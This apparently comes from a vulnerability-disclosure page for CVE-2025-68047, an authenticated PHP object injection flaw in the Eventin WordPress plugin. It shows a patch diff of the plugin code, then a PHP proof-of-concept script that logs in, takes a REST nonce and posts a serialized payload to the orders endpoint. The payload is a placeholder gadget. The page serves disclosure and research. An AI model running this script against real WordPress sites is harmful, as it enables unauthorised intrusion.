+        $exporter->export( $ids, $format );
+    }
+
+    /**
+     * Check permissions for export categories
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return bool
+     */
+    public function export_permissions_check( $request ) {
+        return current_user_can( 'etn_manage_event' );
+    }
+
+    /**
+     * Import categories
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|WP_REST_Response
+     */
+    public function import_items( $request ) {
+        $data = $request->get_file_params();
+        $file = ! empty( $data['category_import'] ) ? $data['category_import'] : '';
+
+        if ( ! $file ) {
+            return new WP_Error( 'empty_file', __( 'You must provide a valid file.', 'eventin' ), [ 'status' => 409 ] );
+        }
+
+        $importer = new CategoryImporter();
+        $importer->import( $file );
+
+        $response = [
+            'message' => __( 'Successfully imported categories', 'eventin' ),
+        ];
+
+        return rest_ensure_response( $response );
+    }
+
+    /**
+     * Check permissions for import categories
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return bool
+     */
+    public function import_permissions_check( $request ) {
+        return current_user_can( 'etn_manage_event' );
+    }
 }
 No newline at end of file
--- a/wp-event-solution/core/event/Api/EventController.php
+++ b/wp-event-solution/core/event/Api/EventController.php
@@ -18,6 +18,7 @@
 use WP_REST_Controller;
 use WP_REST_Server;
 use EtnUtilsHelper;
+use EventinReportsRevenueReport;
 use WP_User_Query;

 /**
@@ -257,6 +258,20 @@
                 ],
             ]
         );
+
+        register_rest_route(
+            $this->namespace,
+            '/' . $this->rest_base . '/update-status',
+            [
+                [
+                    'methods'             => WP_REST_Server::EDITABLE,
+                    'callback'            => array($this, 'update_status'),
+                    'permission_callback' => function () {
+                        return current_user_can('etn_manage_event');
+                    },
+                ],
+            ],
+        );
     }

     /**
@@ -266,11 +281,11 @@
      * @return WP_Error|boolean
      */
     public function get_item_permissions_check( $request ) {
-        return current_user_can( 'etn_manage_event' ) && wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
+        return current_user_can( 'etn_manage_event' ) || wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
     }

     public function get_single_item_permissions_check( $request ) {
-        return wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
+        return current_user_can( 'etn_manage_event' ) || wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
     }

     /**
@@ -287,7 +302,11 @@
         $end_date       = ! empty( $request['end_date'] ) ? sanitize_text_field( $request['end_date'] ) : '';
         $search_keyword = ! empty( $request['search_keyword'] ) ? sanitize_text_field( $request['search_keyword'] ) : '';
         $status         = ! empty( $request['status'] ) ? sanitize_text_field( $request['status'] ) : 'all';
-
+        $category       = ! empty( $request['category'] ) ? intval($request['category']): [];
+        $organizer      = ! empty( $request['organizer'] ) ? intval($request['organizer']) : [];
+        $speaker        = ! empty( $request['speaker'] ) ? intval($request['speaker']) : [];
+        $parent         = isset( $request['parent'] ) ? intval( $request['parent'] ) : null;
+
         $args = [
             'post_type'      => 'etn',
             'post_status'    => 'any',
@@ -295,8 +314,28 @@
             'paged'          => $paged,
         ];

+        // Filter by parent event for recurring child events.
+        if ( $parent !== null ) {
+            $args['post_parent'] = $parent;
+        }
+        else{
+            $args['post_parent'] = 0;
+        }
+
         if ( ! current_user_can( 'manage_options' ) ) {
-            $args['author'] = get_current_user_id();
+            $args['author'] = get_current_user_id();
+        }
+
+        // Category filter (taxonomy query).
+        if ( ! empty( $category ) ) {
+            $args['tax_query'] = [
+                [
+                    'taxonomy' => 'etn_category',
+                    'field'    => 'term_id',
+                    'terms'    => $category,
+                    'operator' => 'IN',
+                ],
+            ];
         }

         $meta_query = [];
@@ -306,18 +345,28 @@
                 'relation' => 'AND',
                 [
                     'key'     => 'etn_start_date',
-                    'value'   => $start_date,
-                    'compare' => '>=',
-                    'type'    => 'DATETIME'
+                    'value'   => $end_date,
+                    'compare' => '<=',
+                    'type'    => 'DATE'
                 ],
                 [
                     'key'     => 'etn_end_date',
-                    'value'   => $end_date,
-                    'compare' => '<=',
-                    'type'    => 'DATETIME'
+                    'value'   => $start_date,
+                    'compare' => '>=',
+                    'type'    => 'DATE'
                 ],
             ];
         }
+
+        if (!empty($type)) {
+            $meta_query[] = [
+                [
+                    'key'     => 'event_type',
+                    'value'   => $type,
+                    'compare' => '='
+                ]
+            ];
+        }

         if ( $search_keyword ) {
             $args['s'] = $search_keyword;
@@ -371,7 +420,7 @@
             $args['meta_query'] = $meta_query;
         }

-        if ( $meta_query || $search_keyword || $status ) {
+        if ( $meta_query || $search_keyword || $status || $category || $organizer || $speaker || $parent !== null ) {
             return $this->get_event_list( $args, $request );
         }

@@ -400,22 +449,62 @@
      * @return  [type]            [return description]
      */
     protected function get_event_list( $args, $request ) {
+        $category       = ! empty( $request['category'] ) ? intval($request['category']) : [];
+        $organizer      = ! empty( $request['organizer'] ) ? intval($request['organizer']) : [];
+        $speaker        = ! empty( $request['speaker'] ) ? intval($request['speaker']) : [];
+
         $events = [];

         $post_query   = new WP_Query( $args );
         $query_result = $post_query->posts;

         $total_posts  = $post_query->found_posts;
+        $total_upcomming_events = 0;
+        $total_ongoing_events = 0;
+        $total_expired_events = 0;

         foreach ( $query_result as $post ) {
+            $speakers_and_organizers = $this->get_event_organizers_and_speakers($post->ID);
+
+            $speakers = $speakers_and_organizers['speaker'];
+            $organizers = $speakers_and_organizers['organizer'];
+
+            $categories = get_the_terms( $post->ID, 'etn_category' );
+            $categories     = $categories ? array_column( $categories, 'term_id' ) : [];
+
+            if (!empty($category) && !in_array($category, $categories)) {
+                continue;
+            }
+            if (!empty($speaker) && !in_array($speaker, $speakers)) {
+                continue;
+            }
+            if (!empty($organizer) && !in_array($organizer, $organizers)) {
+                continue;
+            }
+
             $post_data = $this->prepare_item_for_response( $post, $request );
+
+            if(isset($post_data['status'])){
+                if($post_data['status'] == 'Expired'){
+                    $total_expired_events = $total_expired_events + 1;
+                }
+                if($post_data['status'] == 'Ongoing'){
+                    $total_ongoing_events = $total_ongoing_events + 1;
+                }
+                if($post_data['status'] == 'Upcoming'){
+                    $total_upcomming_events = $total_upcomming_events + 1;
+                }
+            }

             $events[] = $this->prepare_response_for_collection( $post_data );
         }

         $data = [
             'total_items' => $total_posts,
-            'items' => $events,
+            'total_expired_events' => $total_expired_events,
+            'total_ongoing_events' => $total_ongoing_events,
+            'total_upcomming_events' => $total_upcomming_events,
+            'items' => $events
         ];

         $response = rest_ensure_response( $data );
@@ -433,10 +522,36 @@
     public function get_item( $request ) {
         $id   = intval( $request['id'] );
         $post = get_post( $id );
-

         $item = $this->prepare_item_for_response( $post, $request );

+        // Check if event is a recurring event and fetch child events.
+        $recurring_enabled = get_post_meta( $id, 'recurring_enabled', true );
+
+        if ( $recurring_enabled ) {
+            // Prepare request array with parent parameter and pass through other params.
+            $child_request = [
+                'parent'         => $id,
+                'per_page'       => ! empty( $request['per_page'] ) ? $request['per_page'] : 20,
+                'paged'          => ! empty( $request['paged'] ) ? $request['paged'] : 1,
+                'type'           => ! empty( $request['type'] ) ? $request['type'] : '',
+                'start_date'     => ! empty( $request['start_date'] ) ? $request['start_date'] : '',
+                'end_date'       => ! empty( $request['end_date'] ) ? $request['end_date'] : '',
+                'search_keyword' => ! empty( $request['search_keyword'] ) ? $request['search_keyword'] : '',
+                'status'         => ! empty( $request['status'] ) ? $request['status'] : 'all',
+                'category'       => ! empty( $request['category'] ) ? $request['category'] : [],
+                'organizer'      => ! empty( $request['organizer'] ) ? $request['organizer'] : [],
+                'speaker'        => ! empty( $request['speaker'] ) ? $request['speaker'] : [],
+            ];
+
+            $child_response = $this->get_items( $child_request );
+            $child_data     = $child_response->get_data();
+
+            $item['recurring_events'] = $child_data;
+        } else {
+            $item['recurring_events'] = null;
+        }
+
         $response = rest_ensure_response( $item );

         return $response;
@@ -850,15 +965,6 @@
     }

     /**
-     * Get the item's schema for display / public consumption purposes.
-     *
-     * @return array
-     */
-    public function get_item_schema() {
-
-    }
-
-    /**
      * Prepare the item for the REST response.
      *
      * @param mixed           $item WordPress representation of the item.
@@ -905,7 +1011,7 @@
         $seat_plan       = get_post_meta( $id, 'seat_plan', true );
         $enable_seatmap  = get_post_meta( $id, 'enable_seatmap', true );
         $sold_tickets    = (array)Helper::etn_get_sold_tickets_by_event( $id );
-        $ticket_variations = maybe_unserialize(get_post_meta( $id, 'etn_ticket_variations', true ));
+        $ticket_variations = etn_safe_decode(get_post_meta( $id, 'etn_ticket_variations', true ));

         if(empty($ticket_variations) || !is_array($ticket_variations)){
             $ticket_variations = [];
@@ -1019,7 +1125,8 @@
             'module'                  => [
                 'seat_map' => ( EtnCoreAddonsHelper::instance()->check_active_module( 'seat_map' ) ) ? true : false,
                 'rsvp' => ( EtnCoreAddonsHelper::instance()->check_active_module( 'rsvp' ) ) ? true : false,
-            ]
+            ],
+            'revenue'                 => RevenueReport::get_total_revenue( [], $id ),
         ];

         $location_type = get_post_meta( $id, 'etn_event_location_type', true );
@@ -1118,7 +1225,15 @@
                     $user_id = $user->ID;

                     // Get JSON-decoded group array
-                    $speaker_group = json_decode(get_user_meta($user_id, 'etn_speaker_group', true));
+                    $speaker_group = get_user_meta($user_id, 'etn_speaker_group', true);
+
+                    if (!is_array($speaker_group)) {
+                        $speaker_group = json_decode($speaker_group);
+                        if(!is_array($speaker_group)){
+                            $speaker_group = [$speaker_group];
+                        }
+                    }
+
                     $speaker_speaker_group = get_user_meta($user_id, 'etn_speaker_speaker_group', true);

                     // Check if group_id exists in either meta
@@ -1605,7 +1720,7 @@
         foreach($event_data['etn_ticket_variations'] as &$ticket){
             $ticket['etn_sold_tickets'] = !empty($sold_tickets[$ticket['etn_ticket_slug']]) ? $sold_tickets[$ticket['etn_ticket_slug']] : 0;
             $ticket['etn_avaiilable_tickets'] = (int)$ticket['etn_avaiilable_tickets'];
-            if($ticket['etn_sold_tickets'] > $ticket['etn_avaiilable_tickets']){
+            if($ticket['etn_avaiilable_tickets'] > 0 && $ticket['etn_sold_tickets'] > $ticket['etn_avaiilable_tickets']){
                 return new WP_Error( 'etn_ticket_sold_out', 'Available ticket must be greater than the sold ticket' );
             }
         }
@@ -1874,4 +1989,78 @@
         }
         return 0;
     }
+
+    /**
+     * Update event status
+     *
+     * @param   WP_Rest_Request  $request  [$request description]
+     *
+     * @return  WP_Rest_Response | WP_Error
+     */
+    public function update_status($request) {
+        $input_data = is_a($request, 'WP_REST_Request') ? json_decode($request->get_body(), true) : $request;
+
+        $event_ids = !empty($input_data['event_ids']) && is_array($input_data['event_ids']) ? array_map('intval', $input_data['event_ids']) : [];
+        $status = !empty($input_data['status']) ? sanitize_text_field($input_data['status']) : '';
+
+        if (!in_array($status, ['publish', 'draft'])) {
+            return new WP_Error('invalid_status', 'Status must be Publish OR Draft', array('status' => 400));
+        }
+
+        foreach ($event_ids as $event_id) {
+            $event = get_post($event_id);
+            if (!$event || $event->post_type !== 'etn') {
+                return new WP_Error(
+                    'invalid_event',
+                    __('Invalid event ID.', 'eventin'),
+                    ['status' => 404]
+                );
+            }
+
+            $result = wp_update_post([
+                'ID' => $event_id,
+                'post_status' => $status
+            ]);
+
+            if (is_wp_error($result)) {
+                return new WP_Error(
+                    'update_failed',
+                    __('Failed to update event status.', 'eventin'),
+                    ['status' => 500]
+                );
+            }
+        }
+
+        return rest_ensure_response([
+            'success' => true,
+            'message' => __('Event status updated successfully.', 'eventin'),
+        ]);
+    }
+
+    public function get_event_organizers_and_speakers($event_id){
+        $event          = new Event_Model( $event_id );
+        $organizer       = array_map( function( $org ) { return (int) $org; }, get_post_meta( $event_id, 'etn_event_organizer', true ) ?: [] );
+        $speaker         = get_post_meta( $event_id, 'etn_event_speaker', true );
+
+
+        $organizer_group = get_post_meta( $event_id, 'organizer_group', true );
+        $speaker_group   = get_post_meta( $event_id, 'speaker_group', true );
+
+
+
+        $speaker_type    = get_post_meta( $event_id, 'speaker_type', true );
+        $organizer_type  = get_post_meta( $event_id, 'organizer_type', true );
+
+        if($speaker_type == 'group'){
+            $speaker = $this->etn_get_user_ids_by_group($speaker_group);
+        }
+
+        if($organizer_type == 'group'){
+            $organizer = $this->etn_get_user_ids_by_group($organizer_group);
+        }
+
+        $filter_user = $this->filter_organizer_and_speaker($organizer, $speaker);
+
+        return $filter_user;
+    }
 }
--- a/wp-event-solution/core/event/Api/EventTagController.php
+++ b/wp-event-solution/core/event/Api/EventTagController.php
@@ -6,6 +6,8 @@
  */
 namespace EventinEventApi;

+use EventinEventEventTagExporter;
+use EventinEventEventTagImporter;
 use WP_Error;
 use WP_REST_Controller;
 use WP_REST_Server;
@@ -91,6 +93,22 @@
                 ),
             ),
         );
+
+        register_rest_route( $this->namespace, $this->rest_base . '/export', [
+            [
+                'methods'             => WP_REST_Server::CREATABLE,
+                'callback'            => [ $this, 'export_items' ],
+                'permission_callback' => [ $this, 'export_item_permissions_check' ],
+            ]
+        ] );
+
+        register_rest_route( $this->namespace, $this->rest_base . '/import', [
+            [
+                'methods'             => WP_REST_Server::CREATABLE,
+                'callback'            => [ $this, 'import_items' ],
+                'permission_callback' => [ $this, 'import_item_permissions_check' ],
+            ]
+        ] );
     }

     /**
@@ -110,19 +128,51 @@
      * @return WP_Error|WP_REST_Response
      */
     public function get_items( $request ) {
+        $per_page = isset( $request['per_page'] ) ? absint( $request['per_page'] ) : 10;
+        $page     = isset( $request['paged'] ) ? absint( $request['paged'] ) : 1;
+        $search   = isset( $request['search'] ) ? sanitize_text_field( $request['search'] ) : '';
+
         $prepared_args = array(
             'taxonomy'   => $this->taxonomy,
             'hide_empty' => false,
+            'number'     => $per_page,
+            'offset'     => ( $page - 1 ) * $per_page,
         );

+        if ( ! empty( $search ) ) {
+            $prepared_args['search'] = $search;
+        }
+
         $query_result = get_terms( $prepared_args );

-        $response = array();
+        $items = array();

-        foreach ( $query_result as $term ) {
-            $response[] = $this->prepare_item_for_response( $term->term_id, $request );
+        if ( ! is_wp_error( $query_result ) ) {
+            foreach ( $query_result as $term ) {
+                $items[] = $this->prepare_item_for_response( $term->term_id, $request );
+            }
         }

+        $total_args = array(
+            'taxonomy'   => $this->taxonomy,
+            'hide_empty' => false,
+            'fields'     => 'count',
+        );
+
+        if ( ! empty( $search ) ) {
+            $total_args['search'] = $search;
+        }
+
+        $total = get_terms( $total_args );
+
+        $response = array(
+            'items'       => $items,
+            'total'       => $total,
+            'total_pages' => ceil( $total / $per_page ),
+            'page'        => $page,
+            'per_page'    => $per_page,
+        );
+
         return rest_ensure_response( $response );
     }

@@ -385,4 +435,74 @@

         return $prepared_data;
     }
+
+    /**
+     * Export items
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|void
+     */
+    public function export_items( $request ) {
+        $format = ! empty( $request['format'] ) ? sanitize_text_field( $request['format'] ) : '';
+        $ids    = ! empty( $request['ids'] ) ? $request['ids'] : '';
+
+        if ( ! $format ) {
+            return new WP_Error( 'format_error', __( 'Invalid data format', 'eventin' ));
+        }
+
+        if ( ! $ids ) {
+            $ids = EventTagExporter::get_ids();
+        }
+
+        $exporter = new EventTagExporter();
+        $response = $exporter->export( $ids, $format );
+
+        if ( is_wp_error( $response ) ) {
+            return $response;
+        }
+    }
+
+    /**
+     * Check the permissions for export items
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return bool
+     */
+    public function export_item_permissions_check( $request ) {
+        return current_user_can( 'etn_manage_event' );
+    }
+
+    /**
+     * Import items
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|WP_REST_Response
+     */
+    public function import_items( $request ) {
+        $data = $request->get_file_params();
+        $file = ! empty( $data['tag_import'] ) ? $data['tag_import'] : '';
+
+        if ( ! $file ) {
+            return new WP_Error( 'empty_file', __( 'You must provide a valid file.', 'eventin' ), [ 'status' => 409 ] );
+        }
+
+        $importer = new EventTagImporter();
+        $importer->import( $file );
+
+        $response = [
+            'message' => __( 'Successfully imported tags', 'eventin' ),
+        ];
+
+        return rest_ensure_response( $response );
+    }
+
+    /**
+     * Check permission for the import tags
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return bool
+     */
+    public function import_item_permissions_check( $request ) {
+        return current_user_can( 'etn_manage_event' );
+    }
 }
--- a/wp-event-solution/core/event/Api/TransactionController.php
+++ b/wp-event-solution/core/event/Api/TransactionController.php
@@ -330,7 +330,7 @@
             'invoice'           => $item->invoice,
             'amount'            => $item->event_amount,
             'ticket_quantity'   => $item->ticket_qty,
-            'ticket_variations' => maybe_unserialize( $item->ticket_variations ),
+            'ticket_variations' => etn_safe_decode( $item->ticket_variations ),
         ];

         return $transaction_data;
--- a/wp-event-solution/core/event/CategoryExporter.php
+++ b/wp-event-solution/core/event/CategoryExporter.php
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Category Exporter Class
+ *
+ * @package Eventin
+ */
+namespace EventinEvent;
+
+use EventinExporterExporterFactory;
+use EventinExporterPostExporterInterface;
+
+/**
+ * Class Category Exporter
+ *
+ * Export Category Data
+ */
+class CategoryExporter implements PostExporterInterface {
+    /**
+     * Store file name
+     *
+     * @var string
+     */
+    private $file_name = 'category-data';
+
+    /**
+     * Store category data
+     *
+     * @var array
+     */
+    private $data;
+
+    /**
+     * Taxonomy key
+     *
+     * @var string
+     */
+    private $taxonomy = 'etn_category';
+
+    /**
+     * Export category data
+     *
+     * @param array  $data   Category IDs to export
+     * @param string $format Export format (csv, json)
+     *
+     * @return void
+     */
+    public function export( $data, $format ) {
+        $this->data = $data;
+
+        $rows      = $this->prepare_data();
+        $columns   = $this->get_columns();
+        $file_name = $this->file_name;
+
+        $exporter = ExporterFactory::get_exporter( $format );
+
+        $exporter->export( $rows, $columns, $file_name );
+    }
+
+    /**
+     * Prepare data to export
+     *
+     * @return array
+     */
+    private function prepare_data() {
+        $ids           = $this->data;
+        $exported_data = [];
+
+        foreach ( $ids as $id ) {
+            $term = get_term( $id, $this->taxonomy );
+
+            if ( is_wp_error( $term ) || ! $term ) {
+                continue;
+            }
+
+            $parent_name = '';
+            if ( $term->parent ) {
+                $parent_term = get_term( $term->parent, $this->taxonomy );
+                if ( ! is_wp_error( $parent_term ) && $parent_term ) {
+                    $parent_name = $parent_term->name;
+                }
+            }
+
+            $category_data = [
+                'id'          => $term->term_id,
+                'name'        => $term->name,
+                'slug'        => $term->slug,
+                'description' => $term->description,
+                'parent'      => $term->parent,
+                'parent_name' => $parent_name,
+                'color'       => get_term_meta( $term->term_id, 'color', true ),
+                'count'       => $term->count,
+            ];
+
+            array_push( $exported_data, $category_data );
+        }
+
+        return $exported_data;
+    }
+
+    /**
+     * Get columns
+     *
+     * @return array
+     */
+    private function get_columns() {
+        return [
+            'id'          => __( 'ID', 'eventin' ),
+            'name'        => __( 'Name', 'eventin' ),
+            'slug'        => __( 'Slug', 'eventin' ),
+            'description' => __( 'Description', 'eventin' ),
+            'parent'      => __( 'Parent ID', 'eventin' ),
+            'parent_name' => __( 'Parent Name', 'eventin' ),
+            'color'       => __( 'Color', 'eventin' ),
+            'count'       => __( 'Event Count', 'eventin' ),
+        ];
+    }
+
+    /**
+     * Get all category IDs
+     *
+     * @return array
+     */
+    public static function get_ids() {
+        $terms = get_terms( [
+            'taxonomy'   => 'etn_category',
+            'hide_empty' => false,
+            'fields'     => 'ids',
+        ] );
+
+        return ! is_wp_error( $terms ) ? $terms : [];
+    }
+}
--- a/wp-event-solution/core/event/CategoryImporter.php
+++ b/wp-event-solution/core/event/CategoryImporter.php
@@ -0,0 +1,141 @@
+<?php
+/**
+ * Category Importer Class
+ *
+ * @package Eventin
+ */
+namespace EventinEvent;
+
+use EventinImporterPostImporterInterface;
+use EventinImporterReaderFactory;
+
+/**
+ * Class Category Importer
+ */
+class CategoryImporter implements PostImporterInterface {
+    /**
+     * Store File
+     *
+     * @var array
+     */
+    private $file;
+
+    /**
+     * Store data
+     *
+     * @var array
+     */
+    private $data;
+
+    /**
+     * Taxonomy key
+     *
+     * @var string
+     */
+    private $taxonomy = 'etn_category';
+
+    /**
+     * Category import
+     *
+     * @param array $file Uploaded file data
+     *
+     * @return void
+     */
+    public function import( $file ) {
+        $this->file  = $file;
+        $file_reader = ReaderFactory::get_reader( $file );
+
+        $this->data = $file_reader->read_file();
+        $this->create_categories();
+    }
+
+    /**
+     * Create categories
+     *
+     * @return void
+     */
+    private function create_categories() {
+        $rows = $this->data;
+
+        // First pass: Create all categories without parent relationships
+        $id_mapping = [];
+
+        foreach ( $rows as $row ) {
+            $name        = ! empty( $row['name'] ) ? sanitize_text_field( $row['name'] ) : '';
+            $slug        = ! empty( $row['slug'] ) ? sanitize_title( $row['slug'] ) : '';
+            $description = ! empty( $row['description'] ) ? sanitize_textarea_field( $row['description'] ) : '';
+            $color       = ! empty( $row['color'] ) ? sanitize_hex_color( $row['color'] ) : '';
+            $old_id      = ! empty( $row['id'] ) ? intval( $row['id'] ) : 0;
+
+            if ( empty( $name ) ) {
+                continue;
+            }
+
+            // Check if term already exists
+            $existing_term = term_exists( $name, $this->taxonomy );
+
+            if ( $existing_term ) {
+                $term_id = $existing_term['term_id'];
+
+                // Update existing term
+                wp_update_term( $term_id, $this->taxonomy, [
+                    'slug'        => $slug,
+                    'description' => $description,
+                ] );
+            } else {
+                // Create new term
+        

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68047 - Eventin <= 4.1.3 - Authenticated (Contributor+) PHP Object Injection

<?php

$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Step 1: Authenticate to WordPress and obtain nonce
function get_wp_rest_nonce($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create a temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_68047');
    
    // Initialize cURL session for login
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ]));
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    
    // Now get the REST API nonce from admin
    curl_setopt($ch, CURLOPT_URL, $admin_url . 'admin-ajax.php?action=rest-nonce');
    $response = curl_exec($ch);
    
    // Alternative: Extract nonce from page source if REST nonce endpoint not available
    if (empty($response)) {
        curl_setopt($ch, CURLOPT_URL, $admin_url);
        $admin_page = curl_exec($ch);
        
        // Look for REST nonce in page source
        if (preg_match('/"rest_nonce":"([a-f0-9]+)"/', $admin_page, $matches)) {
            $nonce = $matches[1];
        } else {
            // Fallback: Use a dummy nonce (some endpoints may not require it)
            $nonce = 'insecure-nonce-for-poc';
        }
    } else {
        $nonce = trim($response);
    }
    
    curl_close($ch);
    unlink($cookie_file);
    
    return $nonce;
}

// Step 2: Create a malicious serialized object payload
// This payload targets a hypothetical __destruct or __wakeup gadget
// In real exploitation, attackers would use available gadget chains
function create_malicious_payload() {
    // Example payload structure - would need actual gadget chain
    $payload = 'O:8:"TestClass":1:{s:4:"data";s:10:"malicious";}';
    
    // Base64 encode to avoid encoding issues in POST data
    return base64_encode($payload);
}

// Step 3: Exploit the vulnerability via REST API
function exploit_object_injection($target_url, $nonce, $payload) {
    $endpoint = $target_url . '/wp-json/eventin/v1/orders';
    
    // Craft the malicious request
    // The 'tickets' parameter accepts serialized data in vulnerable versions
    $post_data = [
        'tickets' => $payload,
        'event_id' => 1,  // Must be a valid event ID
        'status' => 'pending',
        'total_price' => '0.00',
        '_wpnonce' => $nonce
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $endpoint);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
$nonce = get_wp_rest_nonce($target_url, $username, $password);
$payload = create_malicious_payload();
$result = exploit_object_injection($target_url, $nonce, $payload);

echo "HTTP Status: " . $result['code'] . "n";
echo "Response: " . $result['response'] . "n";

// Note: This PoC demonstrates the attack vector but requires
// a valid gadget chain for actual code execution.
// The payload would need to be tailored to available classes
// in the target environment.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School